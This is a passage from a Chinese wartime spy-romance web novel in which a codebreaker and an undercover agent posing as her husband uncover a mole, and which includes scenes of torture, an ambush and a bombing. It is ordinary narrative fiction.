“那他们情况怎么样了?”
医生上前安抚道:“你先别急,我这次来就是想告诉你这个事,听说林家夫妇在首都的时候身体不是很好,局长体恤,亲自送他们回宁泽。”
“亲自送?”
“对,几年前去首都的富商们也都被遣送
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回家了,只有林家夫妇被局长亲自送回来。”
首都局长来宁泽是大事,说送林家二老回乡只是个幌子,可眼下正是局势最紧张的时候上面头头儿这会儿离开,究竟发生了什么。
“对了,我还给你带了要用的药,我估摸着你前段时间的止痛药已经用完了,不过这可能是最后一次送药了,湫暮,你以后再发作的时候得要自己挺过去,毕竟止痛药不能用一辈子。”
药放在医生的手边,他表情里含着担忧和一抹说不明的情绪。
梁执渊盯着那袋子止痛药,目光阴沉。
“我知道了,医生。”
他们住在这里两年,医生每隔一段时间就会送药过来,眼下突然说不来了,想必还发生了其他事。
“我要去前线了。”医生的语气听起来不算沉重,倒透着点轻松。
如今前线战事紧张,离开宁泽的青年不在少数,只是这消息多少来得有些突然。
“我刚才正跟阿渊说这事呢,正巧你就回来了。”
再看梁执渊的脸色说不上多好看,和他在一起生活久了林湫暮对他的性格有了些了解。他此刻的气压很低,手里还拿着未收起来的枪。
“你去前线...”
“自然是去军医部报道,上阵打仗的事我可不擅长。”医生坐在两人中间,忽地笑了出来:“你们俩这日子过的是越来越像夫妻了,我方才来还看见阿渊在厨房准备做饭。”
林湫暮噤了声,不知该说什么好。梁执渊不常回来,有一次他回来见林湫暮正灰头土脸地端着一碗看不清是什么的午饭从厨房出来,那次后梁执渊只要回来就会赶在饭点前回家,然后钻进厨房什么也不说便开始做饭。
她第一次尝他做的饭菜时还感慨味道着实不错,梁执渊那时埋着头吃饭,末了一顿饭结束后才说:“小巷前有一家阿婆开的小馆子,你平常可以去那吃饭,若我回来也会经常做饭。”
那次后林湫暮就知道这是他在变相地婉拒她做的饭菜。
不过林湫暮多数时候还是自己做饭,梁执渊回来便等着吃现成的。
“做戏嘛,自然是越逼真越好。”林湫暮扯着嘴角露出一抹勉强的笑来。
桌前,梁执渊沉了沉眼,将目光从她身上收起,他对医生说:“时间该到了,你该走了。”
医生收起脸上的笑意,微微点头便起了身,神情间有种压抑。
“留下吃个饭吧。”她说。
“不用了,以前在部队的时候就常吃阿渊做的饭都吃烦了,还是去吃外面的换换新口味。”
说完医生走到门前打开了门,林湫暮起身跟到门前送客,“再见。”
“湫暮,再见。”医生道了声别,带上帽子低着头离开了小院。
她目送医生离开,叹了声气眼中有些惆怅,好在爹爹和娘亲要回来了。在门口站了会儿她转过身回屋,不料身后一堵人墙撞得她往后退了几步。
“你...”林湫暮瞠目望着门前的人。
梁执渊一如既往地眼神冷冽,另一只手还抓着她的手腕,见她回过神来烫手似的撒开了,随后沉默无言进了屋里。
“梁执渊。”林湫暮跟着进了屋,见他自顾走到电报机前抽出了已经解析完成的部分。
“梁执渊。”
屋里又响起她的声音,他抬起头与她相视。
她原本想问林家的事,可现在看他的神情不像是想说话的样子,于是林湫暮默默沉住气转了话锋:“你,不去做饭吗?”
窗外的风吹进来,刚才医生走时留下的沉重被吹散了些,他眉眼中的肃杀瞬间褪去许多。
林湫暮轻轻呼了口气,抽出他手里的电文,垂眼看到那张纸上的内容时一下提起了心。
“我饿了,你快去做饭吧,梁执渊。”
他微微低头瞥了眼她手里的东西,抿了唇:“知道了。”
桌上还放着医生拿来的药,他出去时眼神往上面瞥了一眼。“嘎吱”,房门被打开。
见他走了,林湫暮头上的冷汗落了下来,她有些不稳地撑着桌角,眼中被惊慌占满。
两年前发现这张密文时她就知道这也许是个重要的秘密,只是越往后查越让人心惊。
密文上记载的,是两年前首都传来的锄奸名单,而这份名单上的人有许多至今还能在各种重要场合看见,而有些则消失得无影无踪。
还有几个名字没有完全解密,不过就在这几天了。
林湫暮也曾猜测上一个情报员就是因为这一份名单才会失踪,她失踪前已经预感到后面的事,所以把这份名单藏到了枪里,此后,便再也没有人见过她。
14. 关于我们
城西边的太阳已落了山,夜里街上明显比白天时冷清了许多。男人迈着脚步看似不稳不乱,身后的人还在继续跟着,他像是没察觉般准备朝巷子里拐去。
可还没走到巷子口,便见到了从对面街道走来的身影。
林湫暮停住了脚,已入深秋,这雨断断续续下个没完,她撑着伞正巧在街口遇到了也要回去的梁执渊。
他看向林湫暮,眼里一凌,只短短的几秒她就感受到了周围充斥着怪异。
绵绵细雨从他们眼前飘过,街上有几家住户灭了灯。
“回家吧,阿渊。”林湫暮走到他面前把伞撑到中间,她眉眼温柔自然地挽上他的手臂。
梁执渊低眸凝着她,远远看去像一个丈夫正注视着眼前的妻子,街上还有零零落落来往的人,他们撑着伞往小巷里离开。
身后的黑影没跟得太紧,直到看见两人进了小巷深处的院子。
“发生什么事了?”
林湫暮收了伞,两人拉开了距离走进屋里。
“首都来人了,明晚我们要出去一趟。”
“去哪?”
“李局长为了给首都局长接风举办的酒会,局长特意点名我们两个要到现场。”
她抬起眉头,问:“所以林家的人也回来了?”
刚才跟在梁执渊身后的人已经被林家的事盖了过去,他低眸看着她,沉声说:“嗯,现在被总局长安置在酒店,那里守备戒严你们暂时还见不了面。”
林湫暮愣了一会儿,沉思一会儿才出口:“那我们今晚去是什么情况?”
她望着梁执渊,攥紧的手心里渗出了汗,男人常年一身黑衣冷峻的五官透着股寒气。
“眼下时局不利已经不是出国的最佳时机,你爹娘和总局商议后决定只送你一个人出国。”他顿了顿,“今晚,就是你在宁泽的最后一晚。”
白光乍起,林湫暮脑子里一片混乱,理了理思绪她抓起桌上梁执渊的手,“当初不是说好只要林家答应总局的条件就送我们全家出国的吗。”
说话间她的语气带了一丝哽咽:“我爹娘在哪?”
坐在桌前的男人静静地看着她,面上仍是一片冷漠。
“你们怎么能说话不算话?”
“能送我一个为什么就不能再多送两个人走?”
屋子里仍旧没有回应,她垂着头试图保持冷静,桌上他的掌心覆在了她的手上,梁执渊说:“林湫暮,你走之后我会尽力保护你的父母。”
她看着眼前的人,久久相视,额头上的发丝有些凌乱了,那是她第一次感受到这个男人的手心也是暖的。
已经两年了,当初林家被逼去首都生死未卜,现在能活着送回来已经不容易,这中间林家的人经历过多少才换来能送女儿出去的机会。
自从教堂枪击事件后她再也没见过父母,现在想来教堂的事也不是偶然。走之前林湫暮心里还有件事,只是最终也没来得及说。
住在城西深巷的人已经没有刚开始来时那样多了,有的走了,有的死了。战事由边境往内陆持续延申,宁泽眼见着也快要失守。
梁执渊在窗边坐了一夜,指尖捻着点燃的烟,他想起多年前也曾目送她上船离去,时过经年,又像是旧事重演。
第二日去参加酒会的人不少,都是宁泽有头有脸的人物,毕竟从首都来的局长,谁会不给面子。
车停在宴厅大门口,梁执渊难得一身西服正装,他下了车将手伸出牵出车里的太太。门口已经来了许多人,有人注意到他们往这边看过来。
“执渊,你们来了。”男人走过来,满脸笑意地问。
“李局长,好久不见。”
林湫暮下了车挽上梁执渊,跟两年没见的李韩明打了声招呼。
“好久不见,湫暮出落得越来越漂亮了。”
“谢谢李局长。”她今晚一身流苏长裙,和梁执渊站在一起竟真有几分契合感。
几人站在门口寒暄,后面已经有一辆车停下,李韩明抬头一看立马变了脸色,抬起笑便要迎上去。
小汽车停在大门口,李韩明亲自上前去打开车门,车上的人穿着军靴从里面下来,林湫暮和梁执渊望过去,只见一个身着军装眉眼和善的男人下了车此时正站在李韩明面前说话。
他看上去比想象中的年轻,林湫暮站在不远处猜想这应该就是首都来的局长。她的印象里,那位局长应该是浑身带着杀伐气的男人,至少也会比李韩明年纪大一些,可现在看来并不是。
那边已经说完朝着宴会厅进去,梁执渊朝门口看了眼,对她说:“我们走吧。”
林湫暮与他对视,两人挽着手朝里走去。
今晚来的人来头都不小,他们一进去就看见各界名流围在了那位首都来的局长身边相互敬酒攀谈。其他挤不上号的便都在一旁打量,宴会厅里悠扬的舞曲还在继续。
两人进去后很有默契地混在那些跳舞的人里面观察周围小心交流。
“你见过那位局长?”她靠近男人耳边轻声问。
“见过几面,今夜他会安排你离开。”
他的声音在她头顶低沉冷淡,林湫暮脚下突然绊住身子不自觉前倾抵在他怀里,男人身体有一瞬间的僵直,她笑了笑不以为意地站好重新与他挽手继续跳舞。
“那为什么今晚一定要我来这场晚会?”
“因为只有这样才能带你安全离开。”
林湫暮低着头,想起昨晚在街头跟着梁执渊的人。看来小巷周围已经不安全了。
两人跟着舞曲悠悠地跳着舞,梁执渊抬起手把人往怀里抱,在她耳边轻声摩挲,在外人看来两人只是对举止亲昵的恩爱夫妻。
“待会儿我会带你去□□准备好的房间,只需要等到我来接你走,今夜我会送你到港口去。”
他臂膀有力将人拢在怀里,余光却始终打量着周围的动静。
“你放心,你父母很安全。”像是知道下一句她会说什么,他先一步说了出来。
宴厅里的乐声又换了一首,两人没有再继续留在前厅,不远处人群中间两位局长还在攀谈交流。
梁执渊像位彬彬有礼的绅士牵起林湫暮的手往□□走去,他的嘴角始终带着笑,眉眼温柔。
林湫暮眼角余光多往他身上瞥了眼,如果是平常见到梁执渊这副模样她倒是会壮着胆子调侃两句。
□□的小路没有人,走出来瞬间安静了不少,巨大的一颗柏树立在庭院中央,偶尔有风吹过的沙沙声,夜里凉风袭人,两人一路穿过庭院。
“在看什么?”他突然出了声。
她抬起头看他,目光转动,手被他牵在手心心底升起一股怪异。
“在看今晚梁先生似乎与众不同。”
梁执渊眼底闪动,“哪里不同?”
“和平常比起来更让人想靠近了些。”随即她看着前方低声笑了笑,“我就是随口一说,你不用放在心上。”
他果然没再说话,沉默地牵着人往里侧的房间走去。房间里没开灯,他推开门打开了门口的灯双眸警惕,随后拉着林湫暮关上了房门。
“你在这里等我,我会尽快赶回来。”关上房门梁执渊已经恢复了往日那副模样,只是还没放开紧抓着林湫暮的手。
她看着他点头,“好,你要小心。”林湫暮没有问他要去哪。
出门前梁执渊在她的枪里上满了子弹,此刻就带在她的身上。梁执渊离开前望着她的眼里像是有许多话没说出口,随后便转身打开了房门,屋外的凉风扑面吹来,林湫暮站在屋里望着他将门关好。
其实事到如今许多事情已经浮出水面,只怕都是为了当初的那张锄奸名单,如今边境沦陷,内忧外患,此时不理清内贼何以抵抗外敌。
前厅的宴会已经接近尾声,方才被围在人群中的局长也没见了人,李韩明和一些在场的人继续说着话,眉目间藏了些隐匿的不耐。
会议室里男人坐在椅子上揉着太阳穴,看了眼面前站着的人,语气有些无奈:“执渊,你不该这样感情用事,那位林小姐我已经安排好了人送她去港口,你今晚必须跟我一起离开。”
此时梁执渊身子挺立一如往常目光中捕捉不到丝毫情绪,低了头开口:“局长,请允许我送她去港口码头。”
“如果惊动了宁泽的人,我不保证能救你。”
“我一定会注意安全。”
坐在正位上的男人摇了摇头:“你不送她她也会被安全送走,你去了说不定还会搭上你这条命,于我而言可是失去了多年来埋伏在宁泽的卧底,这不是笔划算的买卖。”
梁执渊抬起头望向那位局长,目光凌冽,屋里的气氛瞬间僵持住。
他忽地掏出身旁的手枪放到地上,双膝下跪,近乎请求的姿态,只是背脊依旧挺直。
“这么多年来我从未求过您什么,只是希望今日局长您能准许这一次,我此一生本该孤零,湫暮因我卷入险境,是我之罪,倘若今天我死在了送她离开的路上,也是我罪有应得。”
座位上的男人居高临下地看着梁执渊,眼神凝视中光影流转,许久,抿下双唇微微低下头来。
“行了,你们缘分未尽,你去吧。”男人眉宇间有常年沉淀的杀伐果决,此刻房间里他的话里多了些凝重,“活着回来,否则那位林小姐我也不保证能安全送出去。”
梁执渊抬头,眼中只有今晚要送她离开的信念。
他们离开已经有些时候了,楼下的声音逐渐散去,宴会已经到了尾声。
枪声是在梁执渊准备下楼时响起的,楼下宴会厅顿时一阵轰乱惊慌,周围警卫立马出动。至于枪声的来源......
梁执渊眼中一冷,抬眼间便冲下了二楼。身后坐在会议室的局长依旧正坐于主位上,寒气乍起。
□□庭院林湫暮浑身是血从里屋逃出来,紧追在身后的男人脸上溅了血,眼神满是狠戾,举着枪朝着庭院的方向连开两枪。子弹从大柏树旁扫过,从梁执渊的眼前穿过,夜里,他的一双眸子如鹰般在院子里扫了一圈,迅速从廊庭上闪身到了那棵大柏树后。
林湫暮趴在树旁,突然感觉到身后伸出一双手,手中的枪刹那间调转了方向。
“是我。”身后是熟悉的声音。
梁执渊将人拉在身后,前厅已经传来杂乱的脚步声,想来是刚才的枪声引来的警卫。他一双眼在夜里成了盯准猎物的利器,忽地抬起手便朝着一个方向开枪,接着是尸体倒地的声音。另一个刺客不知道什么时候移到了两人身后的走廊上,林湫暮侧眸看到那团黑影,电光火石间,几道枪声响起。
她看着身旁与她一起开枪的梁执渊,眼里满是慌乱与不安,走廊上传来尸体的倒地声。
门口的警卫也到了,□□被包围起来。
“今晚在场的人一个都不准离开。”带头的警卫掏出枪,目光在庭院中扫视。
前厅的人已经被扣住,在□□刚刚打死两名刺客的梁执渊和林湫暮自然也不能离开。
今晚原本计划要离开,林湫暮在里屋等候时有四个男人突然进屋来声称是今晚带她走的人。她跟着那些人出了屋,在踏出房门之际及时掏出枪朝着离得最近的两个男人开枪逃跑,随后便是梁执渊赶来的事了。
楼上的那位今晚始终没有出现,
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他们被扣在宴会厅里做笔录,这一等就错过了启航的时间。
接近天亮时,终于有人前来告诉警卫可以放他们离开了。
两人眼神相视,一刻也不想多待。林湫暮身上还穿着前一晚的礼服,礼服上残留着凝固的血迹。
“走吧。”梁执渊从她身旁起身,林湫暮拉住了他的手。
她仰起头,耳畔的头发也被血凝固住了,皱起眉对他说:“梁执渊,我脚好像受伤了,你能不能背我回去。”是刚才逃跑过程中崴伤了脚,本来一路追杀没在意那点伤,现下坐了一晚上脚腕明显已经肿起来了。
“伤得怎么样,刚才怎么没说。”他脸上出现了紧张的情绪,蹲下身来检查。
“算了,你要是不想”
“对不起。”他低声说。
梁执渊叹了口气,背过身子去,“我们回家吧。”
天快亮了,此时宴会厅里弥散着清晨的寒气,凉风缠绕。
她坐在椅子上看着那背影愣了片刻,一言不发撑着身子趴在了他背上,林湫暮挽着他脖子时感受到了一股暖意,随后她埋着头靠在他肩上,心中有一夜之后的苍凉,迷惘...
两人从宴会厅出来街上空无一人,天灰蒙蒙的,街道一眼望去像是望不到尽头。
“梁执渊,你今晚是不是也要离开宁泽。”
前面的男人不知在想什么,“是。”他停顿后又说:“可是你还是没走成。”
林湫暮靠在他肩上,眼角有些湿,“如果,有一天宁泽沦陷了,你就快走吧,你这个人浑身是本事,走到哪都能活下去。”
“走之前我一定会把你送走。”
“相信我。”
凌晨的街道,他们路过了当日的那个教堂,此刻轻声的话语像是在上帝耳畔诉说,林湫暮眼角的眼泪滴落到了他的后颈。
她抿了唇,“你心里比谁都清楚,错过了这次就不会再有机会了。”
“梁执渊,有件事我想了很久,今晚有一瞬间我忽然就想通了。”她凑近他耳边轻声说了句话。
梁执渊眼中乍起了一道暗光。
他背着她走在街上,暗沉的天让他们谁都看不清谁的神情,宁泽已入深秋,透着凉意的风吹过他们身边。
转过前面的街道就能看见那条小巷了,这时街对面不知何时走来了一个小女孩,那孩子手上拎着篮子,里面装满了艳红的玫瑰。
世道混乱,寻常人家难以过活家里的孩子早早的就出来挣钱补贴家用,小女孩泪眼汪汪的,那篮子玫瑰倒是新鲜,花瓣上还渗着露水。
“哥哥姐姐,买束玫瑰花吧,今早刚摘的。”
女孩仰着头望向他们,泛红的眼眶止不住地往下流着泪。
凉风习习,林湫暮脸上的笑凝住了,她垂头看着女孩,眼里霎时掠过了惊恐。
“哥哥姐姐...”
“梁执渊,快跑!”
话说出口的瞬间,梁执渊显然也早有察觉以最快的速度冲了出去,林湫暮被他结结实实地护在了身下。
爆炸就发生在几秒之内,伴随着那小女孩的哭声,爆炸声在耳边响起浓烈刺鼻的味道蔓延开来,炙热黑烟里刚才的女孩也被炸成了碎屑。
林湫暮被梁执渊按在身下一时没缓过来,头还晕晕乎乎的,脑中划过刚才那孩子泪眼绝望的模样,一滴眼泪猝不及防地滴到地上。
“你怎么样?”
身上的人起身拧着眉话音沙哑:“我没事。”说完,他抱起林湫暮便朝着城西小巷的方向离开。
现在的情形显然已经不适合他们再多停留,刚才的女孩身上被绑了炸药,炸药威力不大,但炸死他们两个人足矣。
清晨的街道边残留着刚才爆炸后残留的废墟和残屑。
天亮了,枪声响起了。
宁泽军要局出了奸细,听说是与敌国互通情报时被抓住了,这不是小事,国内几方争斗暂且只算势力权衡,可到底是要团结起来共御外敌的,说到串通外敌,就只有立刻枪毙。
而这个奸细,是早已去了边境的医生。
梁执渊知道后便出了门,她不知道他现在去还能做什么,可医生是奸细...林湫暮想起那张纸条上最后两个没解析出来的名字,她脑中划过一道电流,原来是医生的名字。
可还有最后一个名字。
她拿出那张纸,按照医生名字的解析密码尝试着去解出来。
外面这时有人敲门,林湫暮赶紧藏起纸条拿起枪站到门后,门外的人还在继续敲门,“湫暮,在吗。”
门外响起熟悉的声音,她提着的心总算落下。
打开门,是昨晚在宴会见过的李韩明,他手中还拿着一叠电报密码。
李韩明一进屋就摘下了帽子,两年没见,他的头上也生出了白发,男人脸色露出焦急,“执渊不在,只能由我把电报和密码本拿来交给你了。”
林湫暮接过,电报上的内容很熟悉,她问:“这次是关于什么?”
“首都和南方的消息往来。”
可首都与南方的电报不是早就解析完成了吗,她记得上面的内容是:宁泽站,需锄奸,详见锄奸名单。
话落,她的背影僵住,身后寒气四起,脑中划过无数个过往画面。
“李韩明,分局的总负责人。”
“听说林小姐学的是数学?”
“你前年刚从A国回来,正是我们需要找的人才,如果不是因为这次意外我们也本想去府上请林小姐。”
“记住,除了我之外再有任何人拿电文给你解码,那个人就是奸细。”
最后一个名字是,李韩明。
15. 关于我们
死牢的审讯室内架着一个人,阴湿的牢里充斥着糜烂的腥味,李韩明手里正拿着烤得通红的烙铁,眼神颇有兴味。
女人幽幽转醒,眯着眼看见面前的男人嘴里含着烟正打量自己。
“湫暮,你说你这是何必呢?”
他抖了抖手上拿着的东西,向她走来。
“说吧,林家藏在宁泽的那笔钱在哪?”又笑了笑,“还有梁执渊的事你知道多少,这两个你总得张嘴说一点出来吧,否则我也很难办啊。”
牢里的光线昏暗,照在林湫暮脸上显得惨白无力,她慢慢张唇:“我,我说了我不知道林家的钱在哪里。”
“至于梁执渊,我跟他根本不熟。”
“啧。”男人不耐烦地歪了歪头,“说谎。”
“啊!”
那只被烧得通红的烙铁已经被贴在女人胸口,瞬间散发出皮肉被烫得吱吱作响的烧焦声,浓烟从她的胸口处升起,站在她面前的男人犹如阴牢里的恶鬼。
随后他取下烙铁,甩了甩手,又问:“那份锄奸名单你是什么时候发现的?”
林湫暮被架在架子上,脸上已然没有多少血色,她掀开眼皮看向李韩明,气息薄弱,“去年?”
说完,李韩明的黑眸转动似在思考。
接着,林湫暮又开口:“还是两年前?具体的我也记不清了。”
“梁执渊知道这份名单吗?”
“我没跟他说过。”
窗户透进来的光线忽明忽暗,李韩明目光流转,忽地叹了口气,像是感慨。
“当初把你送到梁执渊身边就是因为你身份特殊,梁执渊这个人心思深沉,就算是我跟他共事多年也不知道他心里究竟在想什么,本以为林小姐靠近他会容易些,可现在看来没什么用啊。”
他看了眼架子上奄奄一息的林湫暮,嘴边扬着若有似无的笑:“湫暮啊,你还记得医生吗?”
林湫暮眼中一顿,李韩明随即说:“他跟我都是Y国的精英,可惜他中途放弃自愿回Y国接受处罚,那时我苦于找不到那份锄奸名单,干脆把他推出去挡枪让上面消除对我的怀疑。”
“不过没多久就传来总局要来宁泽的消息,你说,这是为什么?”
他悠悠的语气泛着凉意,林湫暮垂着头想起梁执渊那夜准备将她安排离开的事。
还能为什么,李韩明身边有总局的人,他的动作都在掌控之中。
梁执渊走了,只剩她一个人留在了这里。
林湫暮想,她大概要死在这儿了。
“你们在一起生活了两年,没想到执渊最后关头竟然忍心把你一个人扔在这里,你恨他吗?”李韩明抿着唇笑,与她抬起来的眼眸对视。
身上的烙痕浸入骨髓的疼,她红着眼,酝酿了许久才缓缓开口:“我恨他,我恨死梁执渊了。”她用尽了力气,说完便垂下头晕了过去。
面前的男人像是得到了满意的回复,目光往监狱的一处望去。
之后的日子里,林湫暮只能在李韩明面前一日又一日地重复着对梁执渊抛下她的厌恶恨意,只有这样,才能让李韩明相信他们之间没有任何关系,可其实他们之间好像也没有什么关系。
她在阴冷潮湿的监牢里不知年月地磋磨,很久很久,久到林湫暮偶尔在梦中能看到一些早已被丢到记忆尘埃里的片段。
“拿着吧,我马上就要上船了,不需要这把伞了。”
......
林湫暮醒来时蜷缩在墙角的一处角落,身上浸透的血迹弥散着腥臭味,爬起身时牵动了胸口处的那处灼伤,疼得她止不住打颤。
房间里的小窗透进来几丝月光,伴着丝丝凉风,现在已经是夜里了。
她靠坐在角落,思忖后面该怎么办。一开始李韩明还会从她身上套些消息,后来发现她身上没多少可以拿到的消息就只剩下日复一日地折磨,可现在折磨她无非是多耽误一点时间罢了,所以李韩明究竟想干什么呢。
伤口在凉风里隐隐作痛,余光中她隐约看见房间的另一个角落坐着一个人影。
像是察觉到黑暗中投过来的那一点点光亮,那抹人影侧眸望过来,久久没动。
林湫暮身子僵住,她凝向另一处角落,开口嗓子嘶哑:“梁执渊。”
听到她的声音,角落里的黑影未动,只是沉默地望向她。
一阵凉风从窗外吹进,她拧眉,想再次出声,喉咙处忽然涌上一股腥热,血从她的喉间涌出,接着便是大片的殷红喷出。
林湫暮脑中混沌,鼻间只剩下了滚烫的血腥味,她心中有了些轻快,死了就不用每天被那老男人每天拖出去折磨了吧。
角落里的人来到她身边,倒下时林湫暮落在他怀里,夜色不明,梁执渊垂眸看着怀里的人,黑眸沉沉。
也不知过了多久,林湫暮全身冷得像进了冰窖,她哆嗦着把自己蜷缩成一团,惨白的嘴唇毫无血色,嘴边还残留着刚喷出的血迹。
梁执渊抱着人,双手僵直,牢里的角落里,他的脸色也没好看到哪里去。
林湫暮被抓进来的第二天,梁执渊被李韩明关进审讯室相邻的房间里,之后每天都能听见从隔壁传来的女人的嘶喊声,到了后面,女人的声音已经没了多少生气。
每天林湫暮结束,就该轮到他了。
大概是方法都用尽了也没得到想要的东西,李韩明只能把两个人扔到一个房间里,没准儿还能听到不一样的东西。
此时林湫暮蜷缩在他怀里,他眼里流过掩埋已久的沉痛,只能尽力抱着她。
“冷...”
怀里的人颤抖得更厉害了,鼻尖缓缓淌着鼻血。
眼前林湫暮的模样,终于让梁执渊毁去了残留在心底的最后一点希望。
从城西离开后,梁执渊本想去军要局拿走医生手里的线索,临走前,听到医生留给他的话。
“那位林小姐没多少日子好活了,当初动手术时李韩明让我用一种烈性药吊着她的命就好,两年了,她中毒已久,活不成了。”
医生对他笑了笑,抹去嘴角的血:“你没想过真的要她的命吧,那一枪正好射偏几寸,只要等到林家的人去救她,林小姐自然能脱离危险。”他摇了摇头:“可惜,有人想要她的命。”
梁执渊感到有一根针从心脏穿过,说痛不痛,可缓缓淌着血。
“还有办法吗?”他转过身来,停住了本该立即离去的脚步。
“药石难医。”
他垂眸,怀里瑟瑟发抖的人嘴里说着呓语。
“好冷啊...”
林湫暮的嗓子沙哑微弱,他抬起手擦去她脸上残留的血迹,常年握枪的指尖有许多老茧。
房间门被打开,李韩明走进来看着角落里的两人,随即嗤笑了一声:“阿渊,她还不知道吧。”
男人的薄唇轻启:“你们以前可是有过婚约的。”
静默的房间里,梁执渊死水一般的眸子闪动,掀开眼皮看向他:“她活不了了。”他的话听起来平淡冷漠,本就寒冷的眼底有了更阴暗的光晕。
“哦,两年前下的毒了,你不说我都忘了。”李韩明坐到桌旁,挑了眼角,“反正也活不了了,这姑娘就是不肯说出林家留在宁泽的那笔钱在哪,我听说那是林家祖上传下来的镇宅之宝,价值连城,不过既然她到死也不肯说,我留着她也没什么用了。”
李韩明的笑透着几分诡异:“不如留给你好好做个念想。”
房间的门再次被关上,黑暗中只留下相互蜷缩依偎的两个人影。
在这里被关了不知道多少个日夜,林湫暮的耳边偶尔能听见李韩明的声音,她的身体不自觉地僵住,背后有一双手轻缓地安抚过,像是窗外那一缕绕绕凉风。
“好冷啊...”她口中呢喃,气息微弱。
他只能把她往怀里拥得更紧,有些偏执的执念就是从这时浮现的。
黑暗里,她眼角的眼泪被挤出来,月光照进来时,她缓缓睁开了眼。
“梁执渊...”
男人睁开眼垂眸看向她,死寂中终于能看见一点涟漪。
“对不起。”他垂着头,轻声诉说。
这也许是他最后能对她说的话了,他想。
林湫暮醒来时脑子晕眩,眼前只有梁执渊低垂的头颅,她笑了笑,不知该高兴还是难过。
高兴的是在这阴暗牢房里终于不是她一个人了,难过的是他最终还是没能走得了。
她没剩多少力气,捻着他的手指轻轻拉动,梁执渊抬起眼与她对视,眼角还有前几天留下的伤痕,为他在夜色里增添了几抹阴翕。
“这里太安静了,我想听你说说话,可以吗?”林湫暮被他抱着,身上的血迹与他融在一起。
他勾起一抹不大好看的笑:“你想听什么。”
“讲讲你的事吧。”
那股凉风忽而转冷,夜里逐渐变得寒凉,他抵着下巴将她往身上抱紧。
“我”梁执渊喉间发紧,“我是个孤儿。”
“我喜欢过一个女孩儿,如果战争结束,我希望能看到她结婚生子,一生顺遂。”
“那你为什么不告诉她,你喜欢她。”
他怔愣了一会儿,摇了摇头:“我从没有这样想过,林小姐。”
那一夜,他们相拥在监牢里,只有冰冷的月光见过。
林湫暮做了许多光怪陆离的梦,有爹娘,有林家,然后在一个雨天,她拿着前往国外的船票撑着伞赶往码头。
1376年,战争全面爆发,内陆逐步沦陷,宁泽分局局长李韩明被查出竟是Y国潜伏多年的卧底,一时间群众哗然。
各国势力也在这一年全面团结起来共御外敌,先
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前去首都的那些各地财主竟也是早已归入国家的内部要员,名为逼迫实为归队,这一年来各地组织布局都是他们在一起商议对策。
林家父母去首都后一直观察林湫暮的动向,好在李韩明这两年也只敢在暗处行动。当初知晓还有一份锄奸名单在,李韩明除掉了情报员却最终没有找到名单所在。
由于旧的锄奸名单失踪,总局整合了一份新的锄奸名单。当初的教堂行动真正目的是那份新的锄奸名单,后被梁执渊拿到手。
只是没想到,会因此将林湫暮牵扯其中。
李韩明失踪后,上面合理怀疑他在宁泽还有藏匿点,梁执渊作为潜伏在他身边多年的卧底自愿重新潜伏,等到时机就会将信息传递出来。
当他把消息递出一个月后,总局带人直捣藏匿点。
林湫暮和梁执渊逃出来时外面到处是逃窜的人,这里是李韩明隐藏多年的庄园,东窗事发,李韩明早已不知去向。
从庄园密室出去,外面白烟滚滚,大火缭绕,许多机密文件在大火里焚烧殆尽。
熊熊大火中,梁执渊将林湫暮抱起步伐急促终于找到了出口,他望见庄园两边的布置随即眼中升起惊惧,迅速向庄园外冲出。
几乎在一瞬间,爆炸声在身后响起。
林湫暮撑着残存的气息望见梁执渊紧绷的脸,火光在他身后发出炸裂,仿佛天也被染红了。
庄园外,林父看见林湫暮被一个男人抱在怀里,神情凌厉,手中拿着的枪举起。
“嘭!”
子弹穿过风声,林湫暮看见父亲手里射出的子弹直直朝向梁执渊胸口,火光在身后爆炸的瞬间,子弹也贯穿了他的胸口。
“梁执渊!”她嘶喊出声。
梁执渊将人按在身下,两人扑到在庄园外的草地上,远处的人步履急促神色慌张。
那场爆炸死伤数百人,在庄园里没来得及逃出的人有李韩明从Y国带来的下属,有他藏起来逼讯的要员,全都死在了这场爆炸中。
大火持续了四天,最后是一场大雨结束了这场持久不灭的火。
随着庄园的火光消散,李韩明也消失在了这场爆炸中。
1376年春末,战乱不休,博尔索伦落了一场百年难遇的大雪。
今生,他们再未相见。
后来,后来林湫暮被林家父母送上了船,身上只带了那件林家世代祖传的无字书。
她回到了A国,那已经是极少数没受战争波及的一个国家,可后来她还是再次上了船。
战争过去后几年,世界各国萧条破败急需恢复,各处都弥漫着死气沉沉的衰败,毫无生机。
梁执渊被李韩明带回了Y国,几年间经受了惨绝人寰的折磨拷问,他被关在小小的一间房里,死不了,逃不了,就只是活着。
梁执渊被李韩明带到Y国的消息被H国知道,之后他便被列入国内首号叛徒。
战争结束后,他被扔在Y国的街头茫然四顾,无处可去,彼时他身带叛徒之名亦不可回国。
他独自寂寥地走在Y国街头时,见到街角处站着一个女孩,她望向自己,眼中含着泪,几乎是下意识的,梁执渊背过了身遮住自己这副人不人鬼不鬼的模样,他不知方向地乱跑,身后传来紧随的脚步声。
许多年的酷刑,梁执渊早已不是当初冷酷敏捷的杀手,光是在街头跑着他的双腿也一瘸一拐。
身后传来她的声音。
“梁执渊,我是林湫暮。”
“你等一下,梁执渊。”
他还在跑,可她还在继续追。
一辆汽车驶过,梁执渊不争气地摔倒在路边,就在他想要爬起来时有一个人影落下。
“梁执渊。”
林湫暮的声音在头顶响起,几年来这是第一次听到她的声音,这一瞬间让他觉得像是一个梦。
他不敢抬起头,沉默收拾着自己身上不像样的衣服布料,面前忽然多出了一只手。
“跟我回去吧,梁执渊。”
街头的落日昏黄,异国他乡的人来来往往,那天,梁执渊还是跟着林湫暮走了。
说来惭愧,在被关的那间小房间里挂着一个供犯人忏悔的十字架,这些年里梁执渊竟生出了一些从前不敢想的念头。他想娶她,他想回去和她在一起。
他有好多话想告诉林湫暮。
“我会清白坚定地回到你身边,告诉你,我喜欢你。”
“林小姐,我不是人人喊打的叛徒,我有信仰有理想,我是个能站在你身边的人。”
“湫暮,我会去接你回家。”
“亲爱的,我们缘分未尽,我会回去找你,爱你,娶你。”
这成了他此后数年唯一的执念,几乎疯魔。
终于在一个街头的黄昏,林小姐向他伸出了那只手,她说她要带他回去。
16. 关于我们
雨夜的航船上,个头矮小的老头站在船头望向远方,眼神提溜着转动看起来兴致颇高。
刚在船舱内杀尽兴了的两人踱着慢步也来到船头,雨水从他们身旁落下沾湿不了他们分毫。
陈抱甩了甩手上的血水,轻抚着胸前的头发悠悠开口:“唉,又要到岸了吗,我这还手酸呢。”
小老头眼神睨着她,眯着眼抬头嘟囔道:“你们倒是玩开心了,上一批上船的人里头一个可人儿都没有,憋死我了。”
忽地发出一道响声,两人往谭蓝的方向看去。
